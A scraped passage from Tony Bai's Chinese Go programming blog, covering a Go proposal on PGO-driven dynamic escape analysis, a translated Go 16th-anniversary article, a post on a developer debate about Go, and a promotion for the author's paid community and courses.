《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-go-ecosystem-in-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025\"\u003ehttps://tonybai.com/2025/11/14/the-go-ecosystem-in-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言迎来了它的第 16 个年头。从一个旨在解决 Google 内部工程效率问题的项目，成长为拥有超过 500 万开发者的全球性技术力量，16 岁的 Go 已然进入了一个成熟、稳健的“少年时代”。\u003c/p\u003e","title":"Go 也开始“叛逆”了？深度解读 JetBrains 2025 报告：为何“原生信仰”不再是唯一答案"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/13/proposal-dynamic-escapes\n大家好，我是Tony Bai。\nio.Writer，这个在 Go 语言中无处不在的神圣接口，其背后却隐藏着一个困扰了性能敏感型开发者多年的“隐形成本”。当你将一个在函数内创建的字节切片 b 传递给 w.Write(b) 时，这个切片几乎总是会逃逸 (Escape) 到堆上，导致一次不必要的内存分配。\n为什么？因为编译器不知道 w 的具体实现是什么，它必须做出最保守的假设。然而，一个由 Go 核心贡献者 thepudds 提交的新提案（#72036），正试图通过引入一种由 **PGO (Profile-Guided Optimization) 驱动的“动态逃逸分析”**新机制，来从根本上解决这个顽疾。\n这项技术，真的能拯救 w.Write(b) 吗？它背后的原理又是什么？\n本文将深入剖析这场旨在消除接口调用隐形开销的编译器“外科手术”。\n接口调用的性能“原罪”：保守的逃逸分析 让我们通过一个简单的基准测试，来直观地感受这个问题：\npackage main import ( \u0026#34;io\u0026#34; \u0026#34;testing\u0026#34; ) // 一个“良好”的 Writer 实现，它不会保留传入的切片 type GoodWriter struct{} func (g *GoodWriter) Write(p []byte) (n int, err error) { return len(p), nil // 只是假装写入，然后丢弃 } // 核心函数 func CallWrite(w io.Writer, x byte) { // 这个切片的底层数组，目前会逃逸到堆上 b := make([]byte, 0, 64) b = append(b, x) w.Write(b) // 问题就出在这行接口方法调用 } func BenchmarkCallWrite(b *testing.B) { g := \u0026amp;GoodWriter{} b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { CallWrite(g, 0) } } 运行这个基准测试，你会得到如下结果(因机器和go版本不同而已)：\nBenchmarkCallWrite 31895619 47.36 ns/op 64 B/op 1 allocs/op 注：在我的macOS 15.7.1以及Go 1.25.3下，只有关闭优化，才能看到那一次64字节的堆内存分配。\n尽管 GoodWriter 的实现极其简单，并没有对切片 b 做任何“出格”的事情，但每次调用 CallWrite 依然产生了一次 64 字节的堆分配。\n原因在于：当编译器分析 CallWrite 函数时，它只知道 w 是一个 io.Writer。它无法预知在运行时，w 的具体类型究竟是什么。万一传入的是一个“邪恶”的实现呢？\n// 一个“邪恶”的 Writer，它会将切片泄露到一个全局变量中 var global []byte type LeakingWriter struct{} func (w *LeakingWriter) Write(p []byte) (n int, err error) { global = p // 切片被泄露了！ return len(p), nil } 为了保证内存安全，编译器必须采取最保守的策略：假设任何传递给接口方法调用的指针或切片，都可能会逃逸。因此，它只能将 b 的底层数组分配在堆上。这就是接口调用的性能“原罪”。\n新范式 —— PGO 如何赋能“条件化栈分配” 提案 #72036 的核心思想，是让编译器变得更“聪明”，不再做出“一刀切”的最坏假设。它引入了一种被称为**“动态逃逸” (Dynamic Escapes)** 或**“条件化栈分配” (Conditional Stack Allocation)** 的新机制，并与 PGO 紧密结合。\n工作原理：\nPGO 收集信息：当你开启 PGO 进行构建时，编译器会利用真实的运行时 profile 数据，分析出在 CallWrite 函数的调用点，w 这个接口变量最常见的具体类型是什么。假设 profile 显示，99% 的情况下，w 都是 *GoodWriter。\n编译器进行“去虚拟化(devirtualize)”重写：基于这份 profile 数据，编译器会在内部（IR 层面）对 w.Write(b) 的调用进行一次“乐观的”重写，其逻辑等价于：\n// 编译器在内部生成的伪代码 tmpw, ok := w.(*GoodWriter) if ok { // 快速路径：我们“猜” w 是 *GoodWriter tmpw.Write(b) // 这是一个具体类型的方法调用！ } else { // 慢速路径：猜错了，走常规的接口调用 w.Write(b) } 逃逸分析的“升级”：新提案的关键，就是让逃逸分析能够理解这个 if-else 分支。 * 在 if ok 的分支中，编译器现在可以明确地分析 (*GoodWriter).Write 的具体实现，并**证明**在这个分支中，切片 b **不会逃逸**。 * 在 else 分支中，编译器依然做出最坏的假设，认为 b **会逃逸**。 条件化分配：基于上述分析，编译器最终会生成一段神奇的代码，其逻辑等价于： // 编译器最终生成的伪代码 tmpw, ok := w.(*GoodWriter) if ok { // 快速路径：在栈上分配 b！ var b_stack [64]byte b := b_stack[:0] b = append(b, x) tmpw.Write(b) } else { // 慢速路径：在堆上分配 b b := make([]byte, 0, 64) b = append(b, x) w.Write(b) } 通过这种方式，对于那 99% 的常见情况，内存分配被成功地从堆转移到了栈，实现了零分配！\n实证 —— 10 倍性能提升背后的编译器魔法 提案作者 thepudds 已经实现了一个原型，其基准测试结果令人振奋。在使用 PGO 开启这项优化后，我们最初的 benchmark 结果发生了翻天覆地的变化：\n是的，你没看错。通过让编译器变得更“智能”，一个看似无解的性能问题被很好解决，带来了数量级的性能提升。\n未来展望 —— 从“动态逃逸”到 runtime.free 这个提案目前仍处于工作原型 (WIP) 阶段，但它为 Go 的未来性能优化，打开了一扇充满想象力的大门。\n更广泛的应用：这种“条件化分配”的机制，未来可能扩展到更多场景，例如处理大小可变的切片、优化闭包调用等。 运行时 free：提案作者还提到了一个更激进的探索——在 Go 运行时中引入一个内部的 runtime.free 函数。这可以让编译器在某些可以静态证明安全的情况下，实现对堆内存的手动释放和快速重用，从而进一步降低 GC 压力。目前runtime.free进展反倒更快，已经有多个cl被merge到tip版本中了，很大可能在Go 1.26版本以实验特性落地。 静态去虚拟化(devirtualize)：这种基于类型信息进行优化的思路，未来甚至可能在没有 PGO 的情况下，通过更强的静态分析来实现。 小结 NO.72036 提案是 Go 编译器和运行时近年来在性能优化领域最令人兴奋的探索之一。它不再满足于对具体代码模式的“小修小补”，而是试图从根本上，通过赋予逃逸分析“理解”控制流和运行时类型信息的能力，来解决一整类长期存在的性能顽疾。\n虽然这项功能何时能进入正式版尚无定论，但它清晰地指明了 Go 团队的演进方向：在保持语言简洁性的同时，通过让编译器和工具链变得越来越“聪明”，来持续压榨硬件的每一分潜能。 w.Write(b) 中的切片逃逸问题，看起来终于有救了。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/13/proposal-dynamic-escapes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-dynamic-escapes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/13/proposal-dynamic-escapes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/13/proposal-dynamic-escapes\"\u003ehttps://tonybai.com/2025/11/13/proposal-dynamic-escapes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eio.Writer，这个在 Go 语言中无处不在的神圣接口，其背后却隐藏着一个困扰了性能敏感型开发者多年的“隐形成本”。当你将一个在函数内创建的字节切片 b 传递给 w.Write(b) 时，这个切片几乎总是会\u003cstrong\u003e逃逸 (Escape)\u003c/strong\u003e 到堆上，导致一次不必要的内存分配。\u003c/p\u003e","title":"PGO 驱动的“动态逃逸分析”：w.Write(b) 中的切片逃逸终于有救了？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last\n大家好，我是Tony Bai。\n每年的十一月，对于全球的 Gopher 而言，都是一个值得纪念的特殊时刻。今年，我们迎来了 Go 语言公开发布的第 16 个年头。\n在众多的庆祝文章中，来自 Go 社区的知名组织 Ardan Labs 发布的这篇《Go 的 16 年：一门为持久而生的编程语言》，以其深邃的洞察力和饱满的情感，深深地打动了我们。\n这篇文章不仅仅是对 Go 历史里程碑的简单罗列，更是一次对 Go 设计哲学——克制、清晰与长远思考——的深刻致敬。文章精准地捕捉了 Go 从解决 Google 内部的工程困境，到成为现代云原生基石的宏大叙事。我们相信，无论对于已经与 Go 同行多年的资深开发者，还是刚刚踏上 Gopher 之旅的新人，这篇文章都能带来启发与共鸣。\n为此，我特将其全文翻译为中文，希望能与中文 Go 社区的各位一同分享这份喜悦与思考。以下是正文：\n每年的十一月，Go 社区都会为我们这个时代最具悄然变革力量的编程语言之一，庆祝又一个里程碑。\n诞生于 Google 并于 2009 年向世界发布的 Go，旨在解决大规模软件构建、庞大代码库、分布式系统以及跨大洲团队协作的复杂性。十六年后的今天，Go 诞生之初秉持的原则——简洁、快速和可靠——依然指导着它的发展。\n正如 Go 团队在去年的周年纪念博文中所写：“Go 是为 2007 年的软件工程问题而构建的，但它仍在解决 2024 年的挑战，以及那些尚未到来的挑战。”\n起源故事 这门语言源于 Google 三位工程师——Robert Griesemer, Rob Pike, 和 Ken Thompson——的挫败感，他们想要一门像 C 一样快、像 Python 一样高效、并且能满足 Google 基础设施规模化需求的语言。\n他们并不想彻底革新编程，他们只是想让编程再次变得令人愉悦。\n正如Rob Pike曾经说过的那样，“Go 是一次关于我们能去除什么的实验。”他们去除的过度复杂性、无休止的编译时间和混乱的依赖关系，反而成为了 Go 最大的优势。\nGo 编程语言为何能迅速走红 Go 不仅仅是又一门新语言；它是对过度工程化的一次宣言。其设计目标使其脱颖而出：\n快速编译：代码在数秒内完成构建，而非数分钟。 简洁性：极简的特性集，强调清晰与可读性。 并发：轻量级的 goroutine，使并发编程变得实用。 静态类型 + 安全性：在不牺牲开发速度的前提下，保证类型安全。 一流的工具链：go fmt、go test、go mod 及其他工具，塑造了 Go 的工匠精神文化。 这些价值观深深地触动了那些厌倦了语言功能蔓延的工程师们，也触动了那些需要稳定、可维护系统的公司。\n现实世界中的 Go 多年来，Go 已悄然成为现代Web的支柱。它驱动着 Docker、Kubernetes、Terraform 和 Prometheus——当今云原生生态系统的根基。\n在 Google 内部，它在后端系统中每秒处理数十亿次请求。在 Google 之外，它已成为初创公司构建分布式系统和企业级工具的首选，这些场景都要求在没有摩擦的情况下获得高性能。\n“Go 诞生于 14 年前，至今它仍是唯一一门让并发感觉如此简单的语言。”\n这种观点体现了 Go 在开发者领域中的独特地位：它既足够古老，经受住了考验，又足够现代，能够不断演进发展。\n值得庆祝的里程碑 Go 的时间线上，点缀着一些关键时刻，展示了这门语言是如何有意识地演进的：\n2009年：Google 正式公开发布 Go语言。 2012年：Go 1.0 发布，并作出了向后兼容的承诺。 2015–2018年：Go 成为容器化工具和微服务的标准。 2022年：泛型在 Go 1.18 中到来——一个期待已久的里程碑。 2024年：Go 位列全球最常用的十大语言之一，并在 AI 服务和边缘计算领域的采用率迅速增长。 正是这种稳定性，加上审慎的创新，让 Go 得以经久不衰。当其他语言追逐潮流时，Go 始终立足于实用性。\n是什么让 Go 与众不同 与许多在每个新版本中不断膨胀的现代语言不同，Go 的演进一直很保守，而这种克制最终得到了回报。\nGo 团队保持了一种罕见的、对向后兼容的承诺。十年前编写的代码，今天依然可以编译和运行。对于那些需要跨越数年甚至数十年维护生产系统的组织来说，这种信任是无价的。\nGo 的简洁性也促进了团队协作。开发者可以快速上手代码库并投入工作。没有无休止的语法或模式争论，只有简洁、直接且高效的代码。\n这种清晰性塑造了一个重视协作而非“炫技”的社区。\n社区的经验教训 在一份以前的 Reddit 周年纪念帖子 中，开发者们回顾了 Go 是如何改变他们职业生涯的：\n“Go 让我重新爱上了编程。”\n“它不花哨，但它能搞定事情，这就是我爱它的地方。”\n这些故事体现了 Go 的不朽精神；与其说是炒作，不如说是把工作做好。\n下一章 Go 的下一个十年，将不仅仅是关于 Web 服务器和 API。其生态系统正在扩展到AI 基础设施、数据流和边缘计算等领域，在这些地方，性能、并发和简洁性至关重要。\n根据 Go 团队的 15 周年博文，当前的工作重点是：\n利用现代 CPU 架构，优化运行时性能。 改进生产系统中的遥测、可观测性和性能分析。 确保 Go 能够随着下一代硬件的发展而持续扩展。 对于押注 Go 的开发者和组织来说，这意味着一件事：这门语言没有放慢脚步，它正在升级。\nGo的2025年：稳步求精，基础更牢固 发布于 2025 年 8 月的 Go 1.25 版本，体现了这门语言标志性的演进方式——安静、审慎的改进，而非颠覆。虽然没有破坏性变更，但几项更新有意义地加固了 Go 的基础。通过移除旧的“core type”概念，语言规范得以简化，澄清了类型推断和泛型的工作方式。工具链变得更精简、更快速，工具现在按需构建，go.mod 中加入了新的ignore指令，同时 go vet, go doc, 和 go version 等命令也得到了增强。\n在底层，运行时获得了容器感知能力，能够根据 CPU 限制自动调整 GOMAXPROCS，使 Go 在云和边缘环境中更加高效。一个新的实验性垃圾回收器（greenteagc）提供了明显更低的停顿时间，而“ Flight Recorder”追踪则引入了持续的、低开销的可观测性。编译器和链接器现在能生成 DWARF 5 调试信息，以获得更小的二进制文件和更快的构建速度，同时修复了一个微妙的空指针 bug，提升了运行时安全。\n在标准库中，开发者现在可以通过 testing/synctest 更容易地测试并发代码，并可以试用更快、更灵活的 encoding/json/v2 包。平台支持也向前迈进——现在要求 macOS 12 或更新版本，而 32 位 Windows ARM 将在此版本后停止支持。\n总而言之，Go 1.25 提醒了我们这门语言为何能经久不衰：它在不破坏信任的前提下演进，用稳定、有影响力的进步，取代了喧嚣的炒作。\n（来源: go.dev/doc/go1.25）\n为 Go 干杯 在 Go 语言诞生 16 周年之际，我们不妨停下来，细细品味它所代表的意义。它不仅仅是一门编程语言，更是一种工程理念，其核心在于克制、清晰和长远思考。\n在 Ardan Labs，我们亲眼见证了 Go 如何帮助团队构建可靠、可扩展的系统，从企业平台到初创原型，无所不包。它帮助工程师专注于真正重要的事情：解决实际问题，而不是与工具较劲。\n祝愿 Go 语言再创辉煌一年。\n不追逐潮流的语言，才能超越潮流而长存。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/16-years-of-go-a-programming-language-built-to-last-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last\"\u003ehttps://tonybai.com/2025/11/12/16-years-of-go-a-programming-language-built-to-last\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e每年的十一月，对于全球的 Gopher 而言，都是一个值得纪念的特殊时刻。今年，我们迎来了 Go 语言公开发布的第 16 个年头。\u003c/p\u003e\n\u003cp\u003e在众多的庆祝文章中，来自 Go 社区的知名组织 Ardan Labs 发布的这篇《\u003ca href=\"https://www.ardanlabs.com/news/2025/16-years-of-go-a-programming-language-built-to-last\"\u003eGo 的 16 年：一门为持久而生的编程语言\u003c/a\u003e》，以其深邃的洞察力和饱满的情感，深深地打动了我们。\u003c/p\u003e","title":"Go 的 16 年：一门为持久而生的编程语言"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/11/go-developers-love-pain-online-debate\n大家好，我是Tony Bai。\n近日，一条开发者 Mario Verbelen 发布的推文——“学习 Go 毁掉了我钟爱的其他语言，但我不在乎。因为它真的太棒了。”——意外地在技术圈引起了一场关于 Go 语言的集中讨论。上百的开发者涌入评论区，分享着他们与 Go 的“爱恨情仇”。这场热议如同一面镜子，清晰地映照出 Go 在 2025 年的开发者心中究竟占据着怎样的位置。\n它不仅仅是一句玩笑或一句赞美，更像是一个“投名状”，代表着一种特定的开发哲学。\n在本文中，我们将深入这场热议的中心，剖析开发者们口中 Go “毁灭性”吸引力的来源，探讨其在与其他主流语言的比较中展现出的独特价值，并审视那些至今仍在社区中引发激烈辩论的核心议题。\nGo 的“甜蜜点”：Python 的生产力与 C 的性能 在这场讨论中，一个反复出现的核心观点是：Go 完美地击中了一个业界长期寻求的“甜蜜点”。正如一位开发者所言：“我真的很喜欢 Python，但当你遇到性能瓶颈不得不切换到 C 时，这很烦人。Go 几乎和 Python 一样高效，同时又和 C 一样快，这正是我想要的。”\n这句评论精准地概括了 Go 的核心价值主张（即“爱”之所在）：\n简洁的语法与强大的工具链： 许多开发者认为，Go 之所以能媲美 Python 的生产力，得益于其极简的语言设计、快速的编译/调试循环以及“开箱即用”的强大标准库和工具集。一位开发者甚至感叹：“Go 是第一门感觉像一个完整操作系统的语言——线程、异步、发布/订阅、服务、管道、定时任务，所有这些都在一个进程内。” 毫不妥协的性能： 与此同时，Go 能够编译成无依赖的单一二进制文件，其性能表现足以比肩 C/C++。这使得开发者无需在开发速度和运行速度之间做出痛苦的抉择。 “无聊”即是美德： 相较于其他语言生态中层出不穷、令人眼花缭乱的“时髦框架”，Go 推崇的是清晰、直接、甚至略显“无聊”的代码。正如评论所说，“笨拙/无聊的代码就是最好的代码”。这种对朴素和可读性的追求，使得大型项目和团队协作变得异常轻松。 激烈的哲学辩论：GC、if err != nil 与泛型 当然，没有任何一门语言是完美的。这场讨论也成为了 Go 核心设计哲学争议（即“痛”之所在）的缩影。\n垃圾回收 (GC)：是福是祸？ 一位用户指出：“与 Rust/Zig/C 等语言相比，Go 唯一的大缺点就是 GC”。这代表了一部分追求极致性能和内存控制的开发者的心声。然而，立刻有开发者反驳：“GC 并没有妨碍我，那只是 Go 早期的事，现在的实现已经非常好了。” 这场辩论揭示了 Go 的一个关键取舍：用一个高度优化的现代 GC 来换取巨大的开发便利性，放弃手动内存管理的复杂性和风险。 对于绝大多数后端应用而言，这笔交易显然是划算的。\nif err != nil：是“圣杯”还是“紧箍咒”？ Go 标志性的错误处理模式 if err != nil 再次成为焦点。有新用户开玩笑说：“看来你还没熟悉 if err != nil，祝你好运。” 而资深 Go 开发者则回应：“你需要拥抱它，这是一个强大的思想。”\n这场看似调侃的互动背后，是 Go 对待错误的严肃态度。Go 强制开发者显式地处理每一个可能的错误，拒绝了 try-catch 带来的隐式控制流。虽然这有时会显得冗长，但它换来的是代码的健壮性和确定性，这对于构建可靠的系统至关重要。\n泛型：爱它还是恨它？ 自 Go 1.18 引入泛型以来，社区对此的看法仍存在分歧。一位开发者怀旧地表示：“我想回到 Go 还没有泛型的那个时代。” 这代表了一种对 Go 极致简单的怀念。而另一方则认为：“我发现（泛型）的实现很好”。这反映了 Go 在演进过程中的平衡艺术：在不破坏语言核心简单性的前提下，谨慎地引入新特性以解决实际问题。\n生态位：在 Rust、Python 和 C 的世界里，Go 的位置在哪？ 这场讨论最精彩的部分，莫过于 Go 在与其他主流语言的横向对比中展现出的清晰定位。\nGo vs. Rust: 该帖子本身就引用了一位Rust开发者的观点：“不幸的是，学习 Rust 毁掉了几乎所有其他语言。” 这句话开启了 Go 和 Rust 的经典对比。社区的共识是，Rust 提供了无与伦比的内存安全和零成本抽象，但在学习曲线（尤其是所有权和借用检查器）和开发心智负担上远超 Go。Go 则凭借其简单性和 Goroutine 并发模型，在网络服务和分布式系统领域提供了“足够好”的性能和更高的开发效率。 Go vs. Python: 如前所述，Go 已成为许多 Python 开发者在遇到性能瓶颈时的首选“升级”路径。它保留了 Python 的部分开发乐趣，同时提供了系统级语言的性能。 Go vs. C: 本帖作者 Mario Verbelen 精辟地总结道：“写脚本语言感觉像戴着手铐，而写 C 感觉像是在没有保护的情况下用胶带粘合各种库。” Go 则提供了 C 的性能，却拥有一个安全的、现代化的标准库和工具生态。 小结：一种务实的“毁灭性”吸引力 “学习 Go 毁掉了我钟爱的其他语言”，这句网络热梗的背后，并非是对其他语言的贬低，而是一种对 Go 核心哲学的深度认同。Go 的吸引力源于其毫不妥协的务实主义。\n它不追求成为最精巧、最纯粹或功能最丰富的语言。相反，它专注于解决软件工程中最常见、最头痛的问题：快速编译、轻松部署、简单并发、高效性能和大规模团队协作。它用一点“无聊”和“冗长”，换来了巨大的工程确定性和生产力。\n对于那些厌倦了复杂构建系统、重量级框架和隐晦运行时行为的开发者而言，Go 提供了一种返璞归真的体验。正是这种聚焦于核心问题的“毁灭性”吸引力，让无数开发者在接触 Go 之后，便再也“回不去了”。\n资料链接：https://x.com/MarioVerbelen/status/1984164183395758564\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/11/go-developers-love-pain-online-debate/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-developers-love-pain-online-debate-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/11/go-developers-love-pain-online-debate\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/11/go-developers-love-pain-online-debate\"\u003ehttps://tonybai.com/2025/11/11/go-developers-love-pain-online-debate\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，\u003ca href=\"https://x.com/MarioVerbelen/status/1984164183395758564\"\u003e一条开发者 Mario Verbelen 发布的推文\u003c/a\u003e——“学习 Go 毁掉了我钟爱的其他语言，但我不在乎。因为它真的太棒了。”——意外地在技术圈引起了一场关于 Go 语言的集中讨论。上百的开发者涌入评论区，分享着他们与 Go 的“爱恨情仇”。这场热议如同一面镜子，清晰地映照出 Go 在 2025 年的开发者心中究竟占据着怎样的位置。\u003c/p\u003e","title":"“学习 Go 毁掉了我钟爱的其他语言”：一场网络热议揭示 Go 开发者真正的爱与痛"},{"content":"算了一笔账后，这个双十一我决定做个“亏本”买卖 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n算了一笔账后，这个双十一我决定做个“亏本”买卖 十一月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/11/11/zsxq-11-11-2025\n大家好，我是Tony Bai。\n又到了一年一度的双十一了，这个曾经的光棍节，如今已内化为一场全民的消费节。\n作为一个埋头搞技术的程序员，我很少参与这类活动。但最近，我对自己运营的知识星球 “Go \u0026amp; AI 精进营” 做了一次“成本核算”，算完之后，我愣住了，然后决定：\n今年双十一，我也“疯”一次，做个“亏本”买卖。\n一个不严谨的科学计算：我的星球到底值多少钱？ 我一直在思考，如何量化一个知识社群的价值。于是，我用“程序员的思维”，对“Go \u0026amp; AI 精进营”做了一次不严谨的价值评估。\n1. 先算核心产出：“主菜”——体系化的微专栏 我的星球，最核心的价值是体系化的深度内容输出。今年，我开启了全新的**“微专栏”**模式，用 3-5 篇的篇幅(长的也有8-10篇的)，把一个垂直领域挖深讲透。\n产出频率： 我计划的更新节奏，大概是平均 2 天一篇。一年 365 天，就算 180 篇。 打个折： 考虑到假期、偶尔的“状态不佳”，以及一些不可抗力（比如沉迷于某个新剧，或某本爱不释手的新书），我们打个骨折，算 150 篇深度内容。 单篇估值： 我看了一下市面上单篇付费文章的价格，咱们的深度和体系化程度，谦虚点，一篇算 5 块钱不过分吧？ 初步计算：150 篇 x 5 元/篇 = 750 元\n2. 再算“吸收率”：知识的“损耗” 当然，没人能 100% 吸收所有知识。就像网络传输有丢包，知识传递也有“损耗”。\n假设大家都是追求精进的开发者，学习能力极强，知识吸收率能达到 80%。\n价值折现：750 元 x 80% = 600 元\n仅仅是核心专栏内容，折算后的价值就已经达到了 600 元。\n这还没算上那些真正的“无价之宝”：\n那些能帮你省下数小时、甚至数天调试时间的**“避坑指南”**… 一个可能让你在面试中脱颖而出的关键问题解答… 第一时间获取Go \u0026amp; AI 前沿动态的“情报费”… 链接一群高质量 Gopher 的“社交网络费”… 以及，我个人**“随叫随到”**的有问必答服务… 这些“附加值”，其价值更是难以估量。\n一个“亏本”的决定：双十一，仅此一天 算完这笔账，再看看星球目前的定价，我发现自己一直在做“慈善”。（手动狗头）\n既然如此，不如“慈善”到底。\n我决定，在今年的双十一（11 月 11 日）当天，为所有希望加入“Go \u0026amp; AI 精进营”的新朋友，提供一次全年仅此一天的特别优惠。\n双十一当天（00:00 – 23:59）\n加入我的知识星球“Go \u0026amp; AI 精进营”\n享受全年唯一一次 8 折优惠！\n仅此一天，错过再等一年！\n我很少做活动，因为我相信，真正的价值不需要频繁的折扣来证明。但我也希望，在双十一这个特殊的日子里，能为那些一直在关注、但稍有犹豫的朋友，提供一个“临门一脚”的绝佳机会。\n扫描下方二维码，或点击“这里”，立即领取 8 折优惠券，双十一当天使用\n你将加入一个怎样的社群？ “Go \u0026amp; AI 精进营”不是一个靠打卡来制造热闹的地方，而是一个**“高手过招的茶馆”和“深度研讨的实验室”**。\n在这里，我们共同探讨：\nGo 语言的底层原理与高级工程实践 AI Agent 与大模型应用的落地 云原生与分布式系统的前沿 2025 年，我们已经推出了：\n《Go测试之道：从测试金字塔到高级实践》 《Go模块构建与依赖管理》 《Go网络编程全解》 《Go context解惑》 《Go开发者的数据库设计之道》 《Go 系统编程》 《用Go 解锁位运算之美》 《Go TUI开发入门》 《Go密码学101》 《Gemini CLI：重新定义命令行AI开发》 《Go并发调度艺术》 《征服Go并发测试》 《Gopher 的 AI 原生应用开发第一课》 《Go语言进阶课》 更多已推出的微专栏信息，请参见《我的技术专栏》页面。\n未来几个月，我们即将启程：\n《AI原生开发工作流实战课》（与极客时间同源） 《Go工具创造者指南：从代码分析、构建Linter到代码生成》 《写给 Go 工程师的 DDD 设计实录》 《代码中的数学》 《Go 数据压缩通识课》 …以及更多硬核的微专栏 而这，仅仅是开始。\n展望 2026 年，我的规划将更加聚焦于体系化和实战。 我计划将今年的“微专栏”系列进行迭代和整合，打磨成一系列完整的、覆盖从入门到精通的“Go 工程师的 AI 实战微课程”。同时，我们也会继续深入 Go 的底层，探索更多硬核的系统可观测和性能优化主题。\n加入我们，你投资的不仅是 2025 年的内容，更是通往 